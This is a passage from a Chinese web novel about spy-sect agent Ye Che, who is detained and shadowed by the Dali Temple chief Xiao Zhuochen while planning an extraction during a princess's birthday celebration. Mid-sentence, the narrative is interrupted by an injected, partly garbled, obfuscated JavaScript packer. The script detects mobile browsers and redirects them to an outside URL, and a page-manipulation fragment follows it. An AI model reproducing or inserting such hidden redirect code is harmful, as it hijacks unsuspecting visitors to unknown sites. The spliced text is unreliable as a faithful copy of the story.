棠溪在醉翁酒坊的存在几乎不被外人知道,叶澈心半垂着头回道:“酒坊里有女伙计,若有女眷,我必然会带她见识下京城的繁华。” 这一顿威逼恐吓似乎吓破了他的胆,萧灼尘见他颓丧的模样也懒得再问,摆手示意。 叶澈在狱卒的搀扶下站起身,低眉垂目:“多谢大人。” 走出大理寺狱时,已近日暮,不过在牢里呆了几个时辰,叶澈却感觉有一天一夜那么久。他缓步走着,身影被拉得很长,大理寺附近的路边有红薯摊的流动商贩,见他经过吆喝道:“香甜的红薯哎。” 叶澈头都没抬,微不可见的轻轻摆手,这些驻扎在京城的细微力量,万不可轻易暴露。 小贩叫卖的声音渐远,叶澈站定后抬手向天,细看可以发现近甲处的针眼痕迹,为了不让被审之人察觉,他们半是威吓,也是真上了刑。如今手指摸上去已经不太痛,可被扎时的痛感似乎印在脑海,再想起来都让人心颤,在牢狱中他是有夸张恐惧的成分,可毕竟是血肉之躯,那一瞬间的害怕也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14492686|154769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的。 叶澈放下手,目光沉静,萧灼尘没真的对他用大刑,那便说明他并未掌握新燕馆的真实背景,只是有所怀疑便将其监管起来,薛晓发现了他们,便干脆断了联系。 眼下的情况比想象中更棘手,萧灼尘摆明已经将他也纳入监管范围,叶澈边走边想,他不能再去接触新燕馆,还需在不暴露其他人的同时让薛晓安全撤出京城。 大理寺门口,萧灼尘面无表情看着那个慢慢走远的身影,有人来禀:“大人,新燕馆的人都已撤走,已经派了几个伶俐的去叶澈家附近看着。” 萧灼尘微微颔首,收回目光问道:“苗大人最近有什么新的动静?” 来人俯首:“他最近常出入聆音居,好像也在等那位赖老板回来。” 萧灼尘轻嗯一声:“他今天到京城?” “是,我们的人一炷香前来报,他已经到了城门口,这会应该过了城门。” 见来人汇报完情况没有退下,萧灼尘锐利扫他一眼,才听他又问:“小的愚昧,有一事想请教大人,叶澈是个没有背景的商人,我看他胆子也不大,为何不直接用刑逼问。” “怎么,还嫌参谏大理寺滥刑的人不够多”,萧灼尘骂了几声才说,“更何况,有的人,打碎骨头都难问出一句实话。” 这人胆小?萧灼尘冷笑不语,第一次见他就能自然给他斟茶的人,就算对刑具有怕,抖得也太过了,多半有诈,银钩门的人倒是有些硬骨头,这人心思极深,不容小觑。 另一边叶澈已经快要走到住所处,晚霞已散,天空还残留些橘色的光彩。他走一步三抬头,似乎在欣赏云彩的景致,余光扫过之处,有几人也跟着抬头看了看。 要想知道别人的目光是不是在自己身上,可以做多几个动作,如抬头看天、低头看地,若是那人也做出了相应的动作,那肯定是在关注你,反之亦然,要想不被人发现自己在跟踪,那便不能把全部注意力都放在对方身上,以免跟着对方的行动走,这是银钩门众人打探消息的基本功。 叶澈在心里摇摇头,大理寺跟踪人的功夫太差了,难怪会被新燕馆发现,萧灼尘也真是看得起他,居然派了这么多人来盯他一个。 他轻轻叹口气,又发现有个花蝴蝶样的人正直直朝他的方向走来,确切些说,是跳来。 那人走路没个正行,在宽敞的马路上左弯右绕,金丝绣边的衣服上还镶嵌着闪亮的珠片,看上去穿的是件戏服款式的外衫,腕间的玉环随着他的脚步叮当作响,手指上也带满了宝石戒指,叶澈见他蹦跶的脚步不停,干脆停下让人绕着走,没想到那人一个回转身正好撞到他怀里。 叶澈刚经历半天不吃不喝和精神恐吓的双重击打,正是体虚之时,被他这么一撞竟没接住,两人摔了个四脚朝天。 那人麻利爬起来惊呼喊道:“兄台,没事吧,兄台!” 叶澈被撞得有些眼冒金花,被扶起来后缓了几秒才回他:“我没事。” “不行不行”,那人拉着他查看一圈后说,“我是聆音居的老板,我有钱,帮你找个大夫看看,别事后再讹上我。” 叶澈无语看他:“放心,我到家了,不需要看大夫,你走你的。” “什么,你邀请我去你家?”那人朗声拍掌笑道,“兄台为人真是客气,刚认识就邀请我上门,下次吧,我今天没带好礼,下次我们再约。” 莫不是遇到了精神病?叶澈狐疑看着他,还没说话便被人两手握住了手,他感觉掌心多了点东西,只听那人欢快道:“我叫赖凤时,兄台,明天来聆音居找我好吗?” 叶澈抽回手,捏紧塞入袖中,只说:“明天再说。” 赖凤时神秘一笑,突然小声道:“你会来的,叶老板,我等你。” 这人……叶澈微笑不变,没再说话,赖凤时笑着跳开:“好酒好菜等你哟!” 叶澈蜷在袖中的手细细摸着他塞过来的东西,笑意淡了不少,是只小狐狸的木雕,薛晓的东西。 4. 聆音居 聆音居在离新燕馆两条街的位置,叶澈在家休整半天,又到饭馆吃饱喝足才施施然散步到楼下,幽远的琴音传来节奏变化,这是最近流行的《送故人》,琴弦争鸣,人声泣唱,似乎正在上演一场难舍难分的离别之景。 在饭馆时叶澈已经打听清楚,两年前有个戏曲班子走穴到京城后因大胆华丽的表演吸引了不少人,其中就包括赖太傅的独子赖凤时,赖凤时好曲艺,当时就买下整个班子,在京城挑了个好地段开店,取名聆音居。 赖太傅是当今陛下年幼时的伴读老师,如今已是半隐退状态,虚有名声,手中并无实权,按理说赖凤时若是有心从官,谋个一官半职也不难,偏偏这人无心名利,大喇喇出入风月场所,更是自办乐馆,一度成为京城笑谈。 叶澈看着眼前门楼高耸的三层小楼,门梁上雕满飞禽走兽,气派十足,翘起的飞檐似鸟儿展翅,垂挂的铜铃偶尔发出清脆的声响,应和着楼里的戏声,最引人注目的是正中的招牌,潇洒飘逸的笔迹看得出题字人写下“聆音居”时心中的肆意洒脱,角落印有赖凤时的章样。 居然是他的题字,想起这人昨日半疯癫的模样,叶澈实在很难将这两者联系到一起,他抬脚进门,曲声更盛,楼里搭了高台,用绿植石阶点缀,甚至有流水从步道边经过,平添灵动,身处其中,仿佛自己也成为了戏中人。 赖凤时大概已经吩咐过店里的人,叶澈刚报出名字便直接被领到三楼,赖凤时正在镜前忙碌,头都没回地喊道:“叶兄,我等你半天啦!” 要不是知道这里是聆音居,叶澈都要以为自己又进了一家商铺,桌面上摆满各种首饰珠宝,还有不同颜色的头面,墙上也挂着一些长翎和头巾,屋内东南角整整齐齐挂满了戏服样的外衫,个顶个的华美。 叶澈一时被眼前的模样迷惑,赖凤时没听到他的回应,从镜前歪了半张脸出来:“叶兄?” 他粉扑得极厚,唇色还没来得及上完,活脱脱白无常现世,叶澈眉心一跳,由衷感叹:“赖公子兴致不错,这是打算上台唱一曲?” 赖凤时顿时喜笑颜开拉他坐下:“叶兄觉得我长得像是会唱戏的?真是好眼光。” 不,我没有,叶澈都不知该感慨这人粉面厚还是脸皮厚,就听他继续说:“可惜世人太俗气,不懂得欣赏我,我们家班子不准我上台。” 这事叶澈也有耳闻,赖凤时刚开店时兴致勃勃跟着戏曲班子同台共唱,明明声音好听可没有一个词在调上,硬生生把客人都唱跑,后来便没再见过他登台唱戏,这也是关于这人的另一个笑料。 叶澈客气笑道:“我时间不多,今天来就想问问赖公子突然送我木雕是什么意思?” 他拿出小狐狸木雕,摆在了桌面,挤在一堆珠宝面前显得格格不入。 赖凤时捂嘴轻笑:“叶兄不会认不出这是阿晓的东西吧,我可听说了,叶兄都被萧灼尘那坏东西抓到大理寺审了半天,想必就是阿晓在等的人。” 从没听薛晓提过赖凤时这号人,可听他的语气似乎很是熟稔,叶澈并不承认:“萧大人抓错人,在下是一介商人,并无特别,但是公子说的阿晓是?” 赖凤时笑容凝滞,突然正色道:“不速之客来了,我长话短说,阿晓现在被困,我必要救她离开京城,你不相信我没关系,配合我就行。” 说完他将桌上的木雕往珠宝堆里一推,又拨弄几下彻底挡住,换上笑容说:“半个月后是公主的诞辰日,到时整个京城都会格外热闹,我们会在民间奏乐唱曲为公主庆生,那是最好的时机。” 他语速很快,话音刚落片刻屋门便被人推开,萧灼尘像个门神一样挡在门口。 叶澈有些意外,他知道萧灼尘的人跟着他肯定会闯进来,赖凤时是怎么把时间掐算得如此准确的? “哎,萧大人,你真是。” 有人出声,叶澈这才发现萧灼尘身后还有一人,那人身材清瘦,温文尔雅地作揖道:“抱歉两位,我乃当朝侍御史苗若歌,有一事想请教赖老板,请问哪位是赖凤时赖老板?” 萧灼尘拂袍坐下,盯着叶澈回他:“那个,这位是代水城来的叶老板,说不定也知道你想打探的消息,坐吧。” 赖凤时冷了脸:“萧灼尘,耍官威回你的大理寺去,在我这横什么。” 见他如此不客气,萧灼尘也没动怒,只说:“既然知道我是大理寺卿,你对我还是尊重些好,我不动你,也可以动你身边的朋友,你说呢?” 眼看气势剑拔弩张,苗若歌连忙进门再次拱手:“是在下唐突,实在是事情紧急,赖老板,望见谅。” 叶澈也抱拳起身:“既然各位官爷有事要忙,草民先行告退,我……” 他还未完全站起便被萧灼尘按着胳膊再坐下,那人皮笑肉不笑:“我刚才不是说了,这个消息,你也知道,坐着听听看。” 他说话的语气还算温和,手下却力道十足,叶澈挣不开便没再说话,既来之则安之。 赖凤时不快看向苗若歌:“有话快说。” 苗若歌有些犹豫地看了眼萧灼尘,见他按着叶澈不放,便利索开口:“三个月前有人在你店里下定,让你为公主诞辰准备表演,还指定了曲艺师对不对?” 赖凤时拍桌怒道:“好哇,你跟董阳一伙的!居然还敢跟我提这件事,曲艺班子都准备好了,该收尾款时就找不见人影,怎么说也是个黄门侍郎,朝廷说他回家省亲,我都追去他老家了也没找到人,这些开支都得你负责。” 苗若歌大概也没见过这么倒打一耙的人,他面上闪过慌乱,又很快镇定下来:“赖老板慎言,大家都是在朝为官,董侍郎失踪多日,我今日来就是想来问问你最近有没有见过他。” 他与董阳都在御史大夫门下做事,一个半月前他突然因病告假,自那以后便没再见过他,御史大夫说他家中有急事已回老家,苗若歌觉得奇怪,朝廷官员无故失踪,却无一人对此提出疑问,他只能私下调查。 董阳在朝中与多人交好,苗若歌没想到的是他去一一询问之时面对的全是闭门羹,甚至连御史大夫在听说这件事后都把他叫去狠狠斥责了一顿。 平心而论,他与董阳算不得有多亲近,只是唇亡齿寒,这事透着古怪,苗若歌不查清楚无法安心。 赖凤时冷哼一声:“我要是见到他必然要送官,我聆音居开门做生意,遇到最大的骗子是官员,传出去都可笑。” 虽然不是骂他,苗若歌耳根还是有些微微泛红,他点点头:“我明白了,这件事我会去找礼部问问,赖老板是否有字据一类的东西可以佐证?” 赖凤时意外看他:“你要帮我要债?” 苗若歌又看萧灼尘一眼才开口:“公主诞辰是大喜的日子,这些钱也不该赖老板出,我尽力去做,但不能承诺你太多。” 没找到人时,苗若歌也怀疑过人在大理寺牢狱,萧灼尘却比预想中的和善,这些年他在朝堂上没少参过大理寺的刑罚过重,本以为又是避而不见,萧灼尘却亲自带他下了牢狱查看,这些天还明着暗着帮他。 朝堂上他们不和,但经过此事后他对萧灼尘这人有所改观,两人的关系也有所缓和。 萧灼尘眼皮都没抬:“我也会如实禀告公主,苗大人有心。” 苗若歌皱眉:“我不是为公主,这关乎我朝礼制与治安问题。” 这正义凛然的模样让叶澈也忍不住多看他几眼,如今的世道,哪里还有太多规矩可言。 如果他们口中的董阳和他所知道的那个名字是同一个人的话,那董阳的失踪背后怕是不简单。 半年前有人曾找到银钩门,说是想要在京城散布关于“皇室奢靡,生活放荡”的消息,叶澈不想与朝堂牵扯太深便拒绝了这桩交易,事后他让薛晓查过,那人是朝廷官董阳的门客。 银钩门的调查到这为止,叶澈没想到会在这种场合下又重新听到这个名字。 有人凑近他耳语:“怎么样,叶老板,你跟董阳做了什么交易?” 叶澈无奈看他:“大人,我今天第一次听说这位董大人,既然说他回家省亲,他是代水城的人吗?” 这人疑心极重,又是公主的心腹,不可能对董阳的事毫不知情,难道新燕馆就是因为此事才被盯上?叶澈思绪变化面上却不显,只是坦然回看身边的人。 萧灼尘自坐下后目光就没离开过他身上,秋意已深,叶澈穿得却有些单薄,倒是方便了他探听脉搏,匀速的跳动毫无变化,似乎句句是真。 萧灼尘收回手,叶澈转动着有些发麻的腕部,心中又起盘算。 无论如何,如今的京城危机重重,他原也是打算在公主的诞辰日将新燕馆的人或带 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不得不说,听萧灼尘被呛是一件很愉悦的事,叶澈微笑不语,不打算趟这两人的浑水。 萧灼尘扫他一眼:“叶老板刚才不是想走,不如一起?” 叶澈婉拒:“两位大人既然要走,那我是否留下也就不重要,大人请自便。” 萧灼尘没再说话,冷着脸抬脚便走,苗若歌作揖告别:“打扰两位老板,赖老板我们再见,叶老板有缘再见,告辞。” 叶澈被他的迂腐劲儿酸到,赖凤时已经说:“苗大人看着年纪也不大,讲话也太古板了些。” 苗若歌尴尬笑笑,也出了门。 这人讲话直率,叶澈是真有些欣赏他了,等赖凤时重新坐下,叶澈忍不住笑:“赖老板好性情。” 赖凤时却不吃他这套:“我刚跟你说的你听进去没有?” 叶澈笑容渐隐:“我不知道赖公子口中的阿晓是何人,但听上去她对你很重要,看在今天跟公子聊得很开心,不知道公子想让我做什么?” “你是被那个姓苗的传染了古板吗?”赖凤时奇怪看他,不满道,“一口一个公子,听得我倒牙,叫我凤时。” 叶澈决定撤回一个欣赏,他点头:“凤时,你想做什么?” 赖凤时说:“就是我刚说的那个戏曲班子,他们会在祝寿日的前一天进城,表演结束后去城门下接受公主赏赐,到时候围观的人多,我打算放把火,让城门乱起来,阿晓就能趁乱逃出去了。” 有勇无谋,叶澈起身作别:“今天的话我会当没听到,凤时兄好自为之。” 赖凤时气道:“叶澈!” 叶澈微微颔首:“凤时,我只是来京游玩的商人,能帮的我可以帮,这种危险之事还望三思。” 说完他头也不回的离开,赖凤时瞪着眼看他下楼后才眉眼一转,脸上的愤怒已经消失,他拨弄出桌上的狐狸,轻声道:“你们的人好谨慎呐。” 叶澈从聆音居出来后又开始满大街闲逛,他找了家酒馆坐下浅酌,几杯下肚后便半眯着眼似在小酣,待小二将人叫醒后他就径直回了家,没再出门。 夜色渐深,躺在床上的叶澈听着小巷传来的打更声便睁开眼,赖凤时的谋划虽然莽撞,但一定能够实现,入城之前他就已经安排过人手,如无意外,赖凤时找的戏曲班子里就有银钩门的人。 只是想睡觉便有人递枕头,叶澈拿不准这人的立场和意图,不敢轻易暴露自己。 叶澈没有点灯,摸黑走到水缸边,风里凉意十足,他本想这几天自然感上风寒,再趁机联系银钩门的人,可赖凤时的出现是个变数,他等不了那么久,必须尽快跟薛晓见一面。 叶澈赤脚踩入缸中,泡了半个时辰才从水里出来,凉风来回,他哆嗦着冷颤个不停,又在风中静静站了片刻,觉得时机差不多了才悄然回屋。 大理寺,萧灼尘还在秉烛办公,听过跟踪的人汇报过后,他按了按眉心:“换三批人轮流去跟,叶澈今天看到我丝毫不惊讶,怕是已经发现了你们。” 叶澈警惕性太强,跟得太近他便什么都不会做,每日只是吃喝玩乐,但只要他稍有松懈露出一点马脚,萧灼尘看着跳动的烛火,淡然想着,他就能把银钩门掘出来聊聊。 5. 进府 “咳咳咳” 叶澈咳嗽着醒来,嗓子像是被火烤过一样难受,他给自己倒了杯茶,裹紧衣服才头重脚轻地往医馆方向走去。 这些年叶澈几乎没有生过病,当年客栈的那场大火给他留下了后遗症,他吸入太多烟尘伤到心肺,被棠敬从水中救起后又反反复复发烧好几天,整整咳了两年多身体才真正恢复过来。自那以后他小心谨慎,生怕一不小心再犯咳病。 这次下手狠重也是担心症状太轻会引起萧灼尘的怀疑,叶澈边走边咳,平日半个时辰就能走完的路硬生生走走停停耗了一个多时辰。 回春堂的门脸不大,黑底金字的匾额透着古朴,在其他商铺招揽声不断的衬托下显得格外沉静,叶澈还未完全踏进医馆便已闻见空气中弥漫着的药材香气。 他被领着到八仙桌边坐下,头戴方巾的医师边问边记,听着叶澈止不住的咳嗽皱眉道:“你咳得这么厉害,是拖了很久才来看,还是以前有其他顽疾?” 叶澈点头:“以前被浓烟伤过心肺,治疗了几年。” 见医师提笔就记,他制止道:“大夫,不用写这么详细,我的身体我知道,您开几副药给我就行。” 医师是位年过半百的老者,他瞪眼提高音量:“你们这些年轻人心高气傲,自己都知道怎么治的话还来医馆做什么!” 见叶澈没再还嘴他才说:“先开两副散风热和止咳的药,现在正是换季,注意保暖喝水,按单子抓药,家里不方便的话可以来医馆煎服,还有,别嫌麻烦,咳嗽要是严重的话再来找我,我再给你开些温补的药。” 医师语气严厉,絮叨的话语里却都是关切,叶澈被骂了一顿也不恼,拎着药包出门。 从回春堂往马路上的方向有两个台阶,叶澈半踩空往右边一歪,正在门口清扫的隔壁小二扶住他,垂首相近的瞬间叶澈低声道:“明日巳时一刻,叫狐狸来医馆后院。” 小二嘴都没张的“嗯”了一声,叶澈已经站直身体抱拳谢过后便继续走自己的路。 叶澈回家后便没再出门,院里轻烟不断,淡淡的药味溢出,跟踪的人换岗后便去禀了萧灼尘。 “真病了?”萧灼尘捏着手里的诊单和药方仔细看,这人年纪轻轻还有旧疾。 手下应道:“是,他去医馆的路上就咳了一路。” 想起他衣衫单薄的模样,着凉了也有可能,只是萧灼尘总觉得哪里不对,公主的诞辰日近在眼前,这人不可能什么都不做,他收起药方:“去查查医馆的人。” 整夜盗汗难眠,再睁眼时,叶澈有些后悔昨天的药一口没喝便倒掉,他头晕得厉害也有些发冷,看来是他高估了自己的身体素质,还担心药到病除不好找理由去医馆,现在他更担心病着的身体扯后腿。 叶澈又多裹了件披风才出门,再进回春堂时,医师满脸惊讶:“你脸色怎么更差了?”说着伸手一探,更惊:“高热还没退?” 不等叶澈开口,医师已经叫人:“带他去后院歇着,我重新开点药,先把体温降下来。” 医者仁心,这倒是免了他的口舌,叶澈真心实意感谢他的热心肠,跟着人进了后院。 后院有个小药圃,种着各种草药,药圃旁有几个药炉,炉火正旺,有几个药工正在忙碌,再往里走便是几间病房,叶澈被安置在靠里的房里,药童离开片刻后有人敲门,叶澈哑着声音说:“进来。” 门口站着的是位面容清秀的药童,他左顾右盼看了几眼,确认四下无人才进门拱手道:“青使。” 狐狸千面,擅长伪装,易容术是薛晓的看家本领。 叶澈咳嗽不断:“长话短说,我问你,你和赖凤时是什么关系?” 薛晓面色一怔:“您见过他了?” 叶澈眉头轻皱,薛晓急忙补充道:“我和他没关系,他是聆音居的老板,偶尔也会来新燕馆听曲,京城常有庆典,我们就是在中秋活动上认识的,因为趣味相投,所以来往过一段时间,可我发现他对我的身份有猜测,已经疏远没再来往。” 叶澈喝了口水平息咳意,平淡道:“中秋距今也不过三个多月,你既然已将木雕赠予他,他也打算在公主诞辰日救你出京,这不是好事吗?” “什么?”薛晓大惊失色,单膝跪下,“老门主对我有恩,小门主也很好,我不会背叛银钩门。我没有送过他东西,更没有暴露过自己的身份,青使,这是个圈套。” 叶澈仔细端详她的眼睛,人皮面具会说谎,眼神却不会,他轻敲桌子:“我知道了,起来吧,这人疑点太多,但有一点没说错,诞辰日是最佳时机,门主已经下令撤出京城,我这次来就是想办法带你们出去。” 薛晓没有站起,她犹豫着说道:“我……我不想离开京城。” 叶澈捂嘴轻咳:“原因。” “我们花了这么多时间才在京城站稳脚跟,如今党争正烈,朝堂和江湖门派也有勾结,银钩门要想长久地活下来,必须有人在这里打探消息。”薛晓目光坚定。 叶澈沉默片刻,这些他也想过,新燕馆是银钩门走得最近朝堂的据点,若不是局势混乱他也不愿意轻易撤出,他起身扶起薛晓:“这些门主都考虑过,但你也知道,对于银钩门来说最重要的是人,如今萧灼尘已经盯上你,你不走,日子不会好过。” 薛晓回道:“青使放心,萧灼尘再厉害也只有一个人,他手下的兵散乱,难成大器。” 这话说得叶澈无法反驳,大理寺盯人的水平他也有所领教,叶澈嘱咐她:“轻敌不是好习惯。” 薛晓见他语气有所松动,继续道:“青使放心,我会谨慎,倒是您,如今想要撤出京城会有些难,用不用我……” 叶澈抬手止住她的话:“我自有安排,诞辰日的行动会按期进行,想走的走,你若要留这需万事小心,赖凤时这边我来处理。” 薛晓有些迟疑:“您,要杀了他吗?” 看上去不像是不在乎的样子,瞧见她眉眼间的情绪,叶澈猜道:“你喜欢他?” “不”,薛晓否认得很快,又继续说,“他为人潇洒,兴趣喜好很多,确实也算半个知己,可如果他站在银钩门的对立面,我也不会放过他。” 叶澈摇头,嘴上说得狠,话里却不舍,他说:“我来京城的任务是带人走,不会节外生枝。” 见薛晓轻吁一口气,叶澈心中沉了几分,他不杀赖凤时,但也不能任这人留在薛晓身边,他不动声色道:“走之前我不会再见你,到时让想走的人准备好。” 薛晓点头,又趁着四下无人退出房间。 薛晓居然对那人有情谊,见她安全离开后,叶澈才忧心忡忡躺倒在床,赖凤时说话真假难辨,要从薛晓身边赶走他还不能真的伤人,他昏头昏脑想着不过一会,就听见屋外传来混乱的动静。 叶澈披着衣服出门,正和带着官兵闯进来的萧灼尘打个照面,萧灼尘盯着他苍白的脸吩咐:“有犯人从大理寺逃脱,本官查人,老实配合。” 还好薛晓走得快,叶澈扯出一丝笑容,懒得再和萧灼尘对上,打算回屋歇着。 “慢着”,萧灼尘已经开口,朝他走来,“叶老板看到我好像毫不意外,你知道我会来?” 叶澈转身看他,身体不适让他不愿跟这人迂回,他咳嗽几声:“大人,京城是您的地盘,遇到您不是很正常?还是说您这一趟就是来抓我的?” 他高热未退,整个人脸色苍白,眼睛却似乎喷着火,烧得水汽氤氲,看着柔弱却很是嚣张,萧灼尘扣住他的下巴,肯定道:“你已经见过薛晓了。” 他没用太大力气,可叶澈本就烧得头痛,被他这么一捏觉得整张脸都疼,忍不住抬手打开他的手,用力过猛气血直冲头顶,就这么两眼一黑直直栽了下去。 萧灼尘没想到他会还手,更没想到这人就这么 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突然身体变轻,有甜甜的东西灌入嘴里,是蜂蜜水,他干涸的喉咙得到滋润,咳嗽也被平息下去,天旋地转的眩晕中叶澈睁开眼,萧灼尘的脸出现在面前,他还没完全清醒,呢喃道:“小少爷。” 萧灼尘皱了皱眉,喂水的动作也停下来:“少爷?” 他一出声,叶澈便彻底恢复清明,医馆里的那一幕拉回神智,他往后微退,顺着话说:“我说啥呀,你给我喝的。” 萧灼尘表情冷酷:“毒药,今晚就能见阎王的那种。” 这人身体也太差了,回府的路上就没醒过,人还没醒躺在床上咳得像个痨病鬼,他实在看不过去才难得好心喂他口水,这会还挑三拣四上。 萧灼尘把水杯往他手里一推:“既然醒了,就别躺着,自己起来喝药。” 叶澈这才打量着周围的环境,他已经不在医馆,身上盖着上好的丝绸被褥,床梁上雕着的精美图案和墙上挂着的花鸟字画相映,他迟疑开口:“大人,我这是?” “我的府邸”,萧灼尘走回桌边,“叶老板在京城无依无靠,生病了都没人照顾,我觉得跟叶老板有缘,在京城的这段日子就在这住下吧。” 叶澈拒绝的话还没说出口,萧灼尘又说:“这是我明面上的说辞,还是说你更喜欢大理寺的环境?” 这就是强压人住下的意思了,叶澈看这人满脸的不耐,当机立断地说道:“我也觉得与大人有缘,那就打扰大人了。” 萧灼尘不就是想要把他放在眼皮子下看管起来,正合他心意,叶澈客气笑了笑,他们走得越近,等到公主诞辰日出现问题时,他的责任就越大。 萧灼尘看他欣然住下,转头喊道:“德叔。” 两鬓微微发白的男人走进来,季德的脸更圆了,脸上的褶皱也多了许多,就是笑容不减,看上去还是那么可亲。 “叶老板是府里的客人,你好生招待,随时向我汇报。”萧灼尘没再看他,吩咐完便径直出了门。 识时务者为俊杰,叶澈点头示意:“德叔好。” 走出客房,萧灼尘眉头渐锁,他那一声喊的分明是“少爷”,想起医馆的诊单,他走向厨房。夏姨正忙着准备晚餐,萧灼尘想了想才说:“今晚的菜多放点辣。” 夏姨忙碌的手停下,犹豫着还是直言:“大人是想给这位公子留个教训?” 萧灼尘奇怪看她:“我教训他什么?” 夏姨擦擦手掏出药单,指给他看:“大人,大夫写了要忌辛辣,我看那位公子咳得厉害,吃辣怕是不太好。” 萧灼尘没说话,半天才开口:“我吃,给他单独做清淡的。” 是他犯疯病,萧灼尘自嘲扯着嘴角,他居然有一瞬间怀疑过叶澈是竹青,那个不会吃辣的黑小子,那个替他死在火里的孩子,萧灼尘收敛心神,竹青早就死了,和祖母、翠姨、父亲、母亲……还有很多人一样,都死在了那个夏天。 他重又抬眼看向客房方向,眼神渐渐冷静,叶澈是银钩门的人,是他要好好利用的人。 6. 有贼 叶澈就这么在萧府住了下来,府上人丁不多,而且年长者过半,都在府里工作多年。这让叶澈有些意外,以萧灼尘的坏名声来说,这人府上的家丁就算是半年一换都算干得长久。 养病的这两天他将府里逛了个遍,萧灼尘不允许他去的地方只有主楼,叶澈也不在意,他立志于跟每个人都混个脸熟,颇有种真是来做客的姿态。 下人通报有人来找他时,叶澈正蹲在自己的药盅前跟夏姨闲聊,赖凤时见他看到自己突然一个箭步向外冲的模样有些惊喜,展开双臂满脸得意说道:“几日不见,叶兄好热情!” 叶澈带着看神经病似的眼神掠过他,兴冲冲跑向府外举着糖葫芦棍的流动小贩,良药苦口,他每天喝药喝得舌头都快麻木,就靠这一点甜找回味觉。 赖凤时震惊看他:“叶澈,我还比不上一个糖葫芦?” 叶澈心满意足嚼着,嘴里有些含糊:“你找我?怎么知道我在这?” “也不知道给我也买一个”,赖凤时不满,还是老实回他,“我才知道你被萧灼尘带走,这不是担心你有危险,就立马来找你了。” 萧灼尘并未限制过他的出入,只是叶澈有心把病养好再说,磨刀不误砍柴工,身体养好了才方便他做事,更何况薛晓不打算离开,他行动的自由度便大了许多。 养病期间他已经想好,公主诞辰日的乱子不仅要有他安排的人,还要把这些全都扣到赖凤时的头上,萧灼尘既然怀疑他的身份,那他便让赖凤时坐实这份嫌疑,让这浑水再乱些。 叶澈抱拳一笑:“凤时果真好性情,以后你就是我在京城最好的兄弟。” 赖凤时喜道:“太好了,那我上次跟你说的……” 他看了看四周,又压低声音说:“救阿晓出京城的事你怎么考虑?” 叶澈恍然大悟:“你那个红颜知己,凤时,我跟你说过这事很危险,你一定要做吗?” 赖凤时有些激动:“当然!你是不是见过阿晓了,她没有告诉你我们灵魂相合,相互欣赏吗?我愿意为她冒险。” 叶澈不为所动:“你又来了,我不认识你口中的阿晓。” 赖凤时满脸不信:“你都知道那是红颜知己,怎么可能不认识,我可没说过阿晓是女的。” 叶澈面色一冷,这人在套他的话,他冷笑道:“是你说听闻我被萧大人带走才断定我是阿晓等的人,我被萧大人带走前最后去的地方便是新燕馆,只要有脑子就能想到你口中的阿晓是那馆里的姑娘,难不成还能是馆里的大茶壶!” 说完他佯怒就走,赖凤时跟在身后急忙道:“是是是,你说不认识就不认识,只要你肯帮我就行。” 叶澈板着脸看他:“你到底想让我做什么?” 公主诞辰日是京城盛事,民间除了戏曲表演、市集开放等庆祝活动,还会集中三天施粥赠衣,京城没有乞丐,多是平民老百姓凑热闹,只为图个好彩头,赖凤时想让叶澈混在人龙中,想办法推倒粥锅引起混乱,届时他们在城门处表演时再添一把火,便能趁乱将人救走。 虽说他们的目的殊途同归,但这种安排和城门放火的打算一样,全凭莽撞。 叶澈停下脚步:“想法很好,但我冒的风险太大,不如这样,我带这位阿晓姑娘到城门,你自己去施粥处捣乱,城外再汇合。” 赖凤时正经脸想了一会:“不行,我必须亲眼看着阿晓离开京城才能放心。” 言下的关切之意越深,叶澈的心便沉一分,这人来路不明,戏却是极好,若薛晓在两人关系上没骗他,那这人想要的,难道是将京城银钩门的势力趁机一网打尽? 做戏他也不差,叶澈神情认真:“凤时,要不是为你,我真不想冒这个险,不如带我见见这位阿晓姑娘,至少让我知道是在为谁的情谊搏命。” 这人是个说风就是雨的性格,叶澈本以为他会推辞,没想到领着他就直奔新燕馆。 走到附近,打扮张扬的赖凤时还没进门便有大茶壶迎上来:“赖老板,有段时间没见着您了。” 看来以前来得很频繁,叶澈摇着扇子半遮面,留心观察对面茶点铺的情况,门上挂着闭店暂休的告示,萧灼尘没再派人盯着这里了?叶澈心下奇怪,开口问道:“你们对面这个铺子什么时候开始休的?” 大茶壶笑着回他:“有七八天了吧,估计是租金太高准备跑路,我来咱们馆一年多,对面铺子都换了四五个老板,公子看着有些眼熟,以前是不是来过?” “话多”,赖凤时轻敲他帽檐,“带我去见你们老板。” 大茶壶轻车熟路地带着他往后院的方向去,新燕馆前院以歌舞表演和包厢房为主,后院多是馆里姐妹们的住处和其他杂物间,赖凤时竟能直接进后院,叶澈沉着眼没说话,或许两人的关系比他想得更亲近。 走到院中,赖凤时猛地回头:“我先去跟阿晓说几句话,你在这等会。” 叶澈点点头站定脚步:“别让我等太久,一个人在这有些尴尬。” 目送着赖凤时进了屋,叶澈的笑容才散去,他不着急地在后院踱步,新燕馆刚开店时他曾来过一回,院里的装饰和大小都不如现在气派,时不时还有女子练琵琶的声音传来,看得出这几年薛晓确实在这花了不少心血。 “够了,出去!”薛晓的怒声传来,房门拉开,她和站在不远处的叶澈四目相对。 叶澈慢悠悠撑扇对她微微点头:“想必这位就是阿晓姑娘。” 薛晓收起惊讶之色,又看向赖凤时:“这是你说的人?” “你们”,赖凤时无奈道,“好好好,你们认不认识不重要,叶澈已经答应帮我,阿晓,你只要按我说的去做……” 薛晓已经走出来厉声道:“赖凤时你听好,我是喜欢过你,可你不怀好意接近我,我们早就该恩断义绝,只恨我当初瞎了眼,从今往后新燕馆不欢迎你,你们不准再放他进来,来人,送客!” 说完她头也不回地回身把门砰地关上,这话八成是说给他听的,女人心难测,上次明明说过只是欣赏,今天就变成喜欢,叶澈有些心塞,他不怀疑薛晓对银钩门的忠诚,但确实担心她在与赖凤时往来时无意中泄露过什么,才让这人举止行为如此奇怪,上赶着说要救人。 戏要做全套,叶澈走近赖凤时:“凤时,你确定这位姑娘需要你救吗?” 